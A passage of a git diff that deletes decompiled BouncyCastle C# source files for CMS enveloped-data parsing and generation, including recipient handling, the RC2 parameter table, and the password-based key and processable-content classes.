recipientInfoStore; - - internal EnvelopedDataParser envelopedData; - - private AlgorithmIdentifier _encAlg; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable _unprotectedAttributes; - - private bool _attrNotRead; - - public AlgorithmIdentifier EncryptionAlgorithmID => _encAlg; - - public string EncryptionAlgOid => _encAlg.Algorithm.Id; - - public Asn1Object EncryptionAlgParams => _encAlg.Parameters?.ToAsn1Object(); - - public CmsEnvelopedDataParser(byte[] envelopedData) - : this(new MemoryStream(envelopedData, writable: false)) - { - } - - public CmsEnvelopedDataParser(Stream envelopedData) - : base(envelopedData) - { - _attrNotRead = true; - this.envelopedData = new EnvelopedDataParser((Asn1SequenceParser)contentInfo.GetContent(16)); - Asn1Set instance = Asn1Set.GetInstance(this.envelopedData.GetRecipientInfos().ToAsn1Object()); - EncryptedContentInfoParser encryptedContentInfo = this.envelopedData.GetEncryptedContentInfo(); - _encAlg = encryptedContentInfo.ContentEncryptionAlgorithm; - CmsReadable readable = new CmsProcessableInputStream(((Asn1OctetStringParser)encryptedContentInfo.GetEncryptedContent(4)).GetOctetStream()); - CmsSecureReadable secureReadable = new CmsEnvelopedHelper.CmsEnvelopedSecureReadable(_encAlg, readable); - recipientInfoStore = CmsEnvelopedHelper.BuildRecipientInformationStore(instance, secureReadable); - } - - public RecipientInformationStore GetRecipientInfos() - { - return recipientInfoStore; - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable GetUnprotectedAttributes() - { - if (_unprotectedAttributes == null && _attrNotRead) - { - Asn1SetParser unprotectedAttrs = envelopedData.GetUnprotectedAttrs(); - _attrNotRead = false; - if (unprotectedAttrs != null) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - IAsn1Convertible asn1Convertible; - while ((asn1Convertible = unprotectedAttrs.ReadObject()) != null) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)asn1Convertible; - asn1EncodableVector.Add(asn1SequenceParser.ToAsn1Object()); - } - _unprotectedAttributes = new Org.BouncyCastle.Asn1.Cms.AttributeTable(new DerSet(asn1EncodableVector)); - } - } - return _unprotectedAttributes; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataStreamGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataStreamGenerator.cs deleted file mode 100644 index cb96ae2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedDataStreamGenerator.cs +++ /dev/null @@ -1,176 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -public class CmsEnvelopedDataStreamGenerator : CmsEnvelopedGenerator -{ - private class CmsEnvelopedDataOutputStream : BaseOutputStream - { - private readonly CmsEnvelopedGenerator _outer; - - private readonly CipherStream _out; - - private readonly BerSequenceGenerator _cGen; - - private readonly BerSequenceGenerator _envGen; - - private readonly BerSequenceGenerator _eiGen; - - public CmsEnvelopedDataOutputStream(CmsEnvelopedGenerator outer, CipherStream outStream, BerSequenceGenerator cGen, BerSequenceGenerator envGen, BerSequenceGenerator eiGen) - { - _outer = outer; - _out = outStream; - _cGen = cGen; - _envGen = envGen; - _eiGen = eiGen; - } - - public override void WriteByte(byte b) - { - _out.WriteByte(b); - } - - public override void Write(byte[] bytes, int off, int len) - { - _out.Write(bytes, off, len); - } - - public override void Close() - { - Platform.Dispose(_out); - _eiGen.Close(); - if (_outer.unprotectedAttributeGenerator != null) - { - Org.BouncyCastle.Asn1.Cms.AttributeTable attributes = _outer.unprotectedAttributeGenerator.GetAttributes(Platform.CreateHashtable()); - Asn1Set obj = new BerSet(attributes.ToAsn1EncodableVector()); - _envGen.AddObject(new DerTaggedObject(explicitly: false, 1, obj)); - } - _envGen.Close(); - _cGen.Close(); - base.Close(); - } - } - - private object _originatorInfo = null; - - private object _unprotectedAttributes = null; - - private int _bufferSize; - - private bool _berEncodeRecipientSet; - - private DerInteger Version - { - get - { - int value = ((_originatorInfo != null || _unprotectedAttributes != null) ? 2 : 0); - return new DerInteger(value); - } - } - - public CmsEnvelopedDataStreamGenerator() - { - } - - public CmsEnvelopedDataStreamGenerator(SecureRandom rand) - : base(rand) - { - } - - public void SetBufferSize(int bufferSize) - { - _bufferSize = bufferSize; - } - - public void SetBerEncodeRecipients(bool berEncodeRecipientSet) - { - _berEncodeRecipientSet = berEncodeRecipientSet; - } - - private Stream Open(Stream outStream, string encryptionOid, CipherKeyGenerator keyGen) - { - byte[] array = keyGen.GenerateKey(); - KeyParameter keyParameter = ParameterUtilities.CreateKeyParameter(encryptionOid, array); - Asn1Encodable asn1Params = GenerateAsn1Parameters(encryptionOid, array); - ICipherParameters cipherParameters; - AlgorithmIdentifier algorithmIdentifier = GetAlgorithmIdentifier(encryptionOid, keyParameter, asn1Params, out cipherParameters); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (RecipientInfoGenerator recipientInfoGenerator in recipientInfoGenerators) - { - try - { - asn1EncodableVector.Add(recipientInfoGenerator.Generate(keyParameter, rand)); - } - catch (InvalidKeyException e) - { - throw new CmsException("key inappropriate for algorithm.", e); - } - catch (GeneralSecurityException e2) - { - throw new CmsException("error making encrypted content.", e2); - } - } - return Open(outStream, algorithmIdentifier, cipherParameters, asn1EncodableVector); - } - - private Stream Open(Stream outStream, AlgorithmIdentifier encAlgID, ICipherParameters cipherParameters, Asn1EncodableVector recipientInfos) - { - try - { - BerSequenceGenerator berSequenceGenerator = new BerSequenceGenerator(outStream); - berSequenceGenerator.AddObject(CmsObjectIdentifiers.EnvelopedData); - BerSequenceGenerator berSequenceGenerator2 = new BerSequenceGenerator(berSequenceGenerator.GetRawOutputStream(), 0, isExplicit: true); - berSequenceGenerator2.AddObject(Version); - Stream rawOutputStream = berSequenceGenerator2.GetRawOutputStream(); - Asn1Generator asn1Generator = (_berEncodeRecipientSet ? ((Asn1Generator)new BerSetGenerator(rawOutputStream)) : ((Asn1Generator)new DerSetGenerator(rawOutputStream))); - foreach (Asn1Encodable recipientInfo in recipientInfos) - { - asn1Generator.AddObject(recipientInfo); - } - asn1Generator.Close(); - BerSequenceGenerator berSequenceGenerator3 = new BerSequenceGenerator(rawOutputStream); - berSequenceGenerator3.AddObject(CmsObjectIdentifiers.Data); - berSequenceGenerator3.AddObject(encAlgID); - Stream stream = CmsUtilities.CreateBerOctetOutputStream(berSequenceGenerator3.GetRawOutputStream(), 0, isExplicit: false, _bufferSize); - IBufferedCipher cipher = CipherUtilities.GetCipher(encAlgID.Algorithm); - cipher.Init(forEncryption: true, new ParametersWithRandom(cipherParameters, rand)); - CipherStream outStream2 = new CipherStream(stream, null, cipher); - return new CmsEnvelopedDataOutputStream(this, outStream2, berSequenceGenerator, berSequenceGenerator2, berSequenceGenerator3); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("exception decoding algorithm parameters.", e3); - } - } - - public Stream Open(Stream outStream, string encryptionOid) - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keyGenerator.DefaultStrength)); - return Open(outStream, encryptionOid, keyGenerator); - } - - public Stream Open(Stream outStream, string encryptionOid, int keySize) - { - CipherKeyGenerator keyGenerator = GeneratorUtilities.GetKeyGenerator(encryptionOid); - keyGenerator.Init(new KeyGenerationParameters(rand, keySize)); - return Open(outStream, encryptionOid, keyGenerator); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedGenerator.cs deleted file mode 100644 index 73e0b02..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedGenerator.cs +++ /dev/null @@ -1,229 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class CmsEnvelopedGenerator -{ - public const string IdeaCbc = "1.3.6.1.4.1.188.7.1.1.2"; - - public const string Cast5Cbc = "1.2.840.113533.7.66.10"; - - internal static readonly short[] rc2Table = new short[256] - { - 189, 86, 234, 242, 162, 241, 172, 42, 176, 147, - 209, 156, 27, 51, 253, 208, 48, 4, 182, 220, - 125, 223, 50, 75, 247, 203, 69, 155, 49, 187, - 33, 90, 65, 159, 225, 217, 74, 77, 158, 218, - 160, 104, 44, 195, 39, 95, 128, 54, 62, 238, - 251, 149, 26, 254, 206, 168, 52, 169, 19, 240, - 166, 63, 216, 12, 120, 36, 175, 35, 82, 193, - 103, 23, 245, 102, 144, 231, 232, 7, 184, 96, - 72, 230, 30, 83, 243, 146, 164, 114, 140, 8, - 21, 110, 134, 0, 132, 250, 244, 127, 138, 66, - 25, 246, 219, 205, 20, 141, 80, 18, 186, 60, - 6, 78, 236, 179, 53, 17, 161, 136, 142, 43, - 148, 153, 183, 113, 116, 211, 228, 191, 58, 222, - 150, 14, 188, 10, 237, 119, 252, 55, 107, 3, - 121, 137, 98, 198, 215, 192, 210, 124, 106, 139, - 34, 163, 91, 5, 93, 2, 117, 213, 97, 227, - 24, 143, 85, 81, 173, 31, 11, 94, 133, 229, - 194, 87, 99, 202, 61, 108, 180, 197, 204, 112, - 178, 145, 89, 13, 71, 32, 200, 79, 88, 224, - 1, 226, 22, 56, 196, 111, 59, 15, 101, 70, - 190, 126, 45, 123, 130, 249, 64, 181, 29, 115, - 248, 235, 38, 199, 135, 151, 37, 84, 177, 40, - 170, 152, 157, 165, 100, 109, 122, 212, 16, 129, - 68, 239, 73, 214, 174, 46, 221, 118, 92, 47, - 167, 28, 201, 9, 105, 154, 131, 207, 41, 57, - 185, 233, 76, 255, 67, 171 - }; - - public static readonly string DesEde3Cbc = PkcsObjectIdentifiers.DesEde3Cbc.Id; - - public static readonly string RC2Cbc = PkcsObjectIdentifiers.RC2Cbc.Id; - - public static readonly string Aes128Cbc = NistObjectIdentifiers.IdAes128Cbc.Id; - - public static readonly string Aes192Cbc = NistObjectIdentifiers.IdAes192Cbc.Id; - - public static readonly string Aes256Cbc = NistObjectIdentifiers.IdAes256Cbc.Id; - - public static readonly string Camellia128Cbc = NttObjectIdentifiers.IdCamellia128Cbc.Id; - - public static readonly string Camellia192Cbc = NttObjectIdentifiers.IdCamellia192Cbc.Id; - - public static readonly string Camellia256Cbc = NttObjectIdentifiers.IdCamellia256Cbc.Id; - - public static readonly string SeedCbc = KisaObjectIdentifiers.IdSeedCbc.Id; - - public static readonly string DesEde3Wrap = PkcsObjectIdentifiers.IdAlgCms3DesWrap.Id; - - public static readonly string Aes128Wrap = NistObjectIdentifiers.IdAes128Wrap.Id; - - public static readonly string Aes192Wrap = NistObjectIdentifiers.IdAes192Wrap.Id; - - public static readonly string Aes256Wrap = NistObjectIdentifiers.IdAes256Wrap.Id; - - public static readonly string Camellia128Wrap = NttObjectIdentifiers.IdCamellia128Wrap.Id; - - public static readonly string Camellia192Wrap = NttObjectIdentifiers.IdCamellia192Wrap.Id; - - public static readonly string Camellia256Wrap = NttObjectIdentifiers.IdCamellia256Wrap.Id; - - public static readonly string SeedWrap = KisaObjectIdentifiers.IdNpkiAppCmsSeedWrap.Id; - - public static readonly string ECDHSha1Kdf = X9ObjectIdentifiers.DHSinglePassStdDHSha1KdfScheme.Id; - - public static readonly string ECMqvSha1Kdf = X9ObjectIdentifiers.MqvSinglePassSha1KdfScheme.Id; - - internal readonly IList recipientInfoGenerators = Platform.CreateArrayList(); - - internal readonly SecureRandom rand; - - internal CmsAttributeTableGenerator unprotectedAttributeGenerator = null; - - public CmsAttributeTableGenerator UnprotectedAttributeGenerator - { - get - { - return unprotectedAttributeGenerator; - } - set - { - unprotectedAttributeGenerator = value; - } - } - - public CmsEnvelopedGenerator() - : this(new SecureRandom()) - { - } - - public CmsEnvelopedGenerator(SecureRandom rand) - { - this.rand = rand; - } - - public void AddKeyTransRecipient(X509Certificate cert) - { - KeyTransRecipientInfoGenerator keyTransRecipientInfoGenerator = new KeyTransRecipientInfoGenerator(); - keyTransRecipientInfoGenerator.RecipientCert = cert; - recipientInfoGenerators.Add(keyTransRecipientInfoGenerator); - } - - public void AddKeyTransRecipient(AsymmetricKeyParameter pubKey, byte[] subKeyId) - { - KeyTransRecipientInfoGenerator keyTransRecipientInfoGenerator = new KeyTransRecipientInfoGenerator(); - keyTransRecipientInfoGenerator.RecipientPublicKey = pubKey; - keyTransRecipientInfoGenerator.SubjectKeyIdentifier = new DerOctetString(subKeyId); - recipientInfoGenerators.Add(keyTransRecipientInfoGenerator); - } - - public void AddKekRecipient(string keyAlgorithm, KeyParameter key, byte[] keyIdentifier) - { - AddKekRecipient(keyAlgorithm, key, new KekIdentifier(keyIdentifier, null, null)); - } - - public void AddKekRecipient(string keyAlgorithm, KeyParameter key, KekIdentifier kekIdentifier) - { - KekRecipientInfoGenerator kekRecipientInfoGenerator = new KekRecipientInfoGenerator(); - kekRecipientInfoGenerator.KekIdentifier = kekIdentifier; - kekRecipientInfoGenerator.KeyEncryptionKeyOID = keyAlgorithm; - kekRecipientInfoGenerator.KeyEncryptionKey = key; - recipientInfoGenerators.Add(kekRecipientInfoGenerator); - } - - public void AddPasswordRecipient(CmsPbeKey pbeKey, string kekAlgorithmOid) - { - Pbkdf2Params parameters = new Pbkdf2Params(pbeKey.Salt, pbeKey.IterationCount); - PasswordRecipientInfoGenerator passwordRecipientInfoGenerator = new PasswordRecipientInfoGenerator(); - passwordRecipientInfoGenerator.KeyDerivationAlgorithm = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdPbkdf2, parameters); - passwordRecipientInfoGenerator.KeyEncryptionKeyOID = kekAlgorithmOid; - passwordRecipientInfoGenerator.KeyEncryptionKey = pbeKey.GetEncoded(kekAlgorithmOid); - recipientInfoGenerators.Add(passwordRecipientInfoGenerator); - } - - public void AddKeyAgreementRecipient(string agreementAlgorithm, AsymmetricKeyParameter senderPrivateKey, AsymmetricKeyParameter senderPublicKey, X509Certificate recipientCert, string cekWrapAlgorithm) - { - IList list = Platform.CreateArrayList(1); - list.Add(recipientCert); - AddKeyAgreementRecipients(agreementAlgorithm, senderPrivateKey, senderPublicKey, list, cekWrapAlgorithm); - } - - public void AddKeyAgreementRecipients(string agreementAlgorithm, AsymmetricKeyParameter senderPrivateKey, AsymmetricKeyParameter senderPublicKey, ICollection recipientCerts, string cekWrapAlgorithm) - { - if (!senderPrivateKey.IsPrivate) - { - throw new ArgumentException("Expected private key", "senderPrivateKey"); - } - if (senderPublicKey.IsPrivate) - { - throw new ArgumentException("Expected public key", "senderPublicKey"); - } - KeyAgreeRecipientInfoGenerator keyAgreeRecipientInfoGenerator = new KeyAgreeRecipientInfoGenerator(); - keyAgreeRecipientInfoGenerator.KeyAgreementOID = new DerObjectIdentifier(agreementAlgorithm); - keyAgreeRecipientInfoGenerator.KeyEncryptionOID = new DerObjectIdentifier(cekWrapAlgorithm); - keyAgreeRecipientInfoGenerator.RecipientCerts = recipientCerts; - keyAgreeRecipientInfoGenerator.SenderKeyPair = new AsymmetricCipherKeyPair(senderPublicKey, senderPrivateKey); - recipientInfoGenerators.Add(keyAgreeRecipientInfoGenerator); - } - - public void AddRecipientInfoGenerator(RecipientInfoGenerator recipientInfoGenerator) - { - recipientInfoGenerators.Add(recipientInfoGenerator); - } - - protected internal virtual AlgorithmIdentifier GetAlgorithmIdentifier(string encryptionOid, KeyParameter encKey, Asn1Encodable asn1Params, out ICipherParameters cipherParameters) - { - Asn1Object asn1Object; - if (asn1Params != null) - { - asn1Object = asn1Params.ToAsn1Object(); - cipherParameters = ParameterUtilities.GetCipherParameters(encryptionOid, encKey, asn1Object); - } - else - { - asn1Object = DerNull.Instance; - cipherParameters = encKey; - } - return new AlgorithmIdentifier(new DerObjectIdentifier(encryptionOid), asn1Object); - } - - protected internal virtual Asn1Encodable GenerateAsn1Parameters(string encryptionOid, byte[] encKeyBytes) - { - Asn1Encodable result = null; - try - { - if (encryptionOid.Equals(RC2Cbc)) - { - byte[] array = new byte[8]; - rand.NextBytes(array); - int num = encKeyBytes.Length * 8; - int parameterVersion = ((num >= 256) ? num : rc2Table[num]); - result = new RC2CbcParameter(parameterVersion, array); - } - else - { - result = ParameterUtilities.GenerateParameters(encryptionOid, rand); - } - } - catch (SecurityUtilityException) - { - } - return result; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedHelper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedHelper.cs deleted file mode 100644 index 7903e51..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsEnvelopedHelper.cs +++ /dev/null @@ -1,242 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -internal class CmsEnvelopedHelper -{ - internal class CmsAuthenticatedSecureReadable : CmsSecureReadable - { - private AlgorithmIdentifier algorithm; - - private IMac mac; - - private CmsReadable readable; - - public AlgorithmIdentifier Algorithm => algorithm; - - public object CryptoObject => mac; - - internal CmsAuthenticatedSecureReadable(AlgorithmIdentifier algorithm, CmsReadable readable) - { - this.algorithm = algorithm; - this.readable = readable; - } - - public CmsReadable GetReadable(KeyParameter sKey) - { - string id = algorithm.Algorithm.Id; - try - { - mac = MacUtilities.GetMac(id); - mac.Init(sKey); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("error decoding algorithm parameters.", e3); - } - try - { - return new CmsProcessableInputStream(new TeeInputStream(readable.GetInputStream(), new MacSink(mac))); - } - catch (IOException e4) - { - throw new CmsException("error reading content.", e4); - } - } - } - - internal class CmsEnvelopedSecureReadable : CmsSecureReadable - { - private AlgorithmIdentifier algorithm; - - private IBufferedCipher cipher; - - private CmsReadable readable; - - public AlgorithmIdentifier Algorithm => algorithm; - - public object CryptoObject => cipher; - - internal CmsEnvelopedSecureReadable(AlgorithmIdentifier algorithm, CmsReadable readable) - { - this.algorithm = algorithm; - this.readable = readable; - } - - public CmsReadable GetReadable(KeyParameter sKey) - { - try - { - cipher = CipherUtilities.GetCipher(algorithm.Algorithm); - Asn1Object asn1Object = algorithm.Parameters?.ToAsn1Object(); - ICipherParameters cipherParameters = sKey; - if (asn1Object != null && !(asn1Object is Asn1Null)) - { - cipherParameters = ParameterUtilities.GetCipherParameters(algorithm.Algorithm, cipherParameters, asn1Object); - } - else - { - string id = algorithm.Algorithm.Id; - if (id.Equals(CmsEnvelopedGenerator.DesEde3Cbc) || id.Equals("1.3.6.1.4.1.188.7.1.1.2") || id.Equals("1.2.840.113533.7.66.10")) - { - cipherParameters = new ParametersWithIV(cipherParameters, new byte[8]); - } - } - cipher.Init(forEncryption: false, cipherParameters); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (IOException e3) - { - throw new CmsException("error decoding algorithm parameters.", e3); - } - try - { - return new CmsProcessableInputStream(new CipherStream(readable.GetInputStream(), cipher, null)); - } - catch (IOException e4) - { - throw new CmsException("error reading content.", e4); - } - } - } - - internal static readonly CmsEnvelopedHelper Instance; - - private static readonly IDictionary KeySizes; - - private static readonly IDictionary BaseCipherNames; - - static CmsEnvelopedHelper() - { - Instance = new CmsEnvelopedHelper(); - KeySizes = Platform.CreateHashtable(); - BaseCipherNames = Platform.CreateHashtable(); - KeySizes.Add(CmsEnvelopedGenerator.DesEde3Cbc, 192); - KeySizes.Add(CmsEnvelopedGenerator.Aes128Cbc, 128); - KeySizes.Add(CmsEnvelopedGenerator.Aes192Cbc, 192); - KeySizes.Add(CmsEnvelopedGenerator.Aes256Cbc, 256); - BaseCipherNames.Add(CmsEnvelopedGenerator.DesEde3Cbc, "DESEDE"); - BaseCipherNames.Add(CmsEnvelopedGenerator.Aes128Cbc, "AES"); - BaseCipherNames.Add(CmsEnvelopedGenerator.Aes192Cbc, "AES"); - BaseCipherNames.Add(CmsEnvelopedGenerator.Aes256Cbc, "AES"); - } - - private string GetAsymmetricEncryptionAlgName(string encryptionAlgOid) - { - if (PkcsObjectIdentifiers.RsaEncryption.Id.Equals(encryptionAlgOid)) - { - return "RSA/ECB/PKCS1Padding"; - } - return encryptionAlgOid; - } - - internal IBufferedCipher CreateAsymmetricCipher(string encryptionOid) - { - string asymmetricEncryptionAlgName = GetAsymmetricEncryptionAlgName(encryptionOid); - if (!asymmetricEncryptionAlgName.Equals(encryptionOid)) - { - try - { - return CipherUtilities.GetCipher(asymmetricEncryptionAlgName); - } - catch (SecurityUtilityException) - { - } - } - return CipherUtilities.GetCipher(encryptionOid); - } - - internal IWrapper CreateWrapper(string encryptionOid) - { - try - { - return WrapperUtilities.GetWrapper(encryptionOid); - } - catch (SecurityUtilityException) - { - return WrapperUtilities.GetWrapper(GetAsymmetricEncryptionAlgName(encryptionOid)); - } - } - - internal string GetRfc3211WrapperName(string oid) - { - if (oid == null) - { - throw new ArgumentNullException("oid"); - } - string text = (string)BaseCipherNames[oid]; - if (text == null) - { - throw new ArgumentException("no name for " + oid, "oid"); - } - return text + "RFC3211Wrap"; - } - - internal int GetKeySize(string oid) - { - if (!KeySizes.Contains(oid)) - { - throw new ArgumentException("no keysize for " + oid, "oid"); - } - return (int)KeySizes[oid]; - } - - internal static RecipientInformationStore BuildRecipientInformationStore(Asn1Set recipientInfos, CmsSecureReadable secureReadable) - { - IList list = Platform.CreateArrayList(); - for (int i = 0; i != recipientInfos.Count; i++) - { - RecipientInfo instance = RecipientInfo.GetInstance(recipientInfos[i]); - ReadRecipientInfo(list, instance, secureReadable); - } - return new RecipientInformationStore(list); - } - - private static void ReadRecipientInfo(IList infos, RecipientInfo info, CmsSecureReadable secureReadable) - { - Asn1Encodable info2 = info.Info; - if (info2 is KeyTransRecipientInfo) - { - infos.Add(new KeyTransRecipientInformation((KeyTransRecipientInfo)info2, secureReadable)); - } - else if (info2 is KekRecipientInfo) - { - infos.Add(new KekRecipientInformation((KekRecipientInfo)info2, secureReadable)); - } - else if (info2 is KeyAgreeRecipientInfo) - { - KeyAgreeRecipientInformation.ReadRecipientInfo(infos, (KeyAgreeRecipientInfo)info2, secureReadable); - } - else if (info2 is PasswordRecipientInfo) - { - infos.Add(new PasswordRecipientInformation((PasswordRecipientInfo)info2, secureReadable)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsException.cs deleted file mode 100644 index 9fa3633..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Cms; - -[Serializable] -public class CmsException : Exception -{ - public CmsException() - { - } - - public CmsException(string msg) - : base(msg) - { - } - - public CmsException(string msg, Exception e) - : base(msg, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsPbeKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsPbeKey.cs deleted file mode 100644 index f5b42d0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsPbeKey.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public abstract class CmsPbeKey : ICipherParameters -{ - internal readonly char[] password; - - internal readonly byte[] salt; - - internal readonly int iterationCount; - - [Obsolete("Will be removed")] - public string Password => new string(password); - - public byte[] Salt => Arrays.Clone(salt); - - public int IterationCount => iterationCount; - - public string Algorithm => "PKCS5S2"; - - public string Format => "RAW"; - - [Obsolete("Use version taking 'char[]' instead")] - public CmsPbeKey(string password, byte[] salt, int iterationCount) - : this(password.ToCharArray(), salt, iterationCount) - { - } - - [Obsolete("Use version taking 'char[]' instead")] - public CmsPbeKey(string password, AlgorithmIdentifier keyDerivationAlgorithm) - : this(password.ToCharArray(), keyDerivationAlgorithm) - { - } - - public CmsPbeKey(char[] password, byte[] salt, int iterationCount) - { - this.password = (char[])password.Clone(); - this.salt = Arrays.Clone(salt); - this.iterationCount = iterationCount; - } - - public CmsPbeKey(char[] password, AlgorithmIdentifier keyDerivationAlgorithm) - { - if (!keyDerivationAlgorithm.Algorithm.Equals(PkcsObjectIdentifiers.IdPbkdf2)) - { - throw new ArgumentException("Unsupported key derivation algorithm: " + keyDerivationAlgorithm.Algorithm); - } - Pbkdf2Params instance = Pbkdf2Params.GetInstance(keyDerivationAlgorithm.Parameters.ToAsn1Object()); - this.password = (char[])password.Clone(); - salt = instance.GetSalt(); - iterationCount = instance.IterationCount.IntValue; - } - - ~CmsPbeKey() - { - Array.Clear(password, 0, password.Length); - } - - [Obsolete("Use 'Salt' property instead")] - public byte[] GetSalt() - { - return Salt; - } - - public byte[] GetEncoded() - { - return null; - } - - internal abstract KeyParameter GetEncoded(string algorithmOid); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessable.cs deleted file mode 100644 index d5f560b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessable.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Cms; - -public interface CmsProcessable -{ - void Write(Stream outStream); - - [Obsolete] - object GetContent(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableByteArray.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableByteArray.cs deleted file mode 100644 index 29c8a67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableByteArray.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; - -namespace Org.BouncyCastle.Cms; - -public class CmsProcessableByteArray : CmsProcessable, CmsReadable -{ - private readonly DerObjectIdentifier type; - - private readonly byte[] bytes; - - public DerObjectIdentifier Type => type; - - public CmsProcessableByteArray(byte[] bytes) - { - type = CmsObjectIdentifiers.Data; - this.bytes = bytes; - } - - public CmsProcessableByteArray(DerObjectIdentifier type, byte[] bytes) - { - this.bytes = bytes; - this.type = type; - } - - public virtual Stream GetInputStream() - { - return new MemoryStream(bytes, writable: false); - } - - public virtual void Write(Stream zOut) - { - zOut.Write(bytes, 0, bytes.Length); - } - - [Obsolete] - public virtual object GetContent() - { - return bytes.Clone(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableFile.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableFile.cs deleted file mode 100644 index 2e60fee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableFile.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -public class CmsProcessableFile : CmsProcessable, CmsReadable -{ - private const int DefaultBufSize = 32768; - - private readonly FileInfo _file; - - private readonly int _bufSize; - - public CmsProcessableFile(FileInfo file) - : this(file, 32768) - { - } - - public CmsProcessableFile(FileInfo file, int bufSize) - { - _file = file; - _bufSize = bufSize; - } - - public virtual Stream GetInputStream() - { - return new FileStream(_file.FullName, FileMode.Open, FileAccess.Read, FileShare.Read, _bufSize); - } - - public virtual void Write(Stream zOut) - { - Stream inputStream = GetInputStream(); - Streams.PipeAll(inputStream, zOut); - Platform.Dispose(inputStream); - } - - [Obsolete] - public virtual object GetContent() - { - return _file; - } -} diff --git 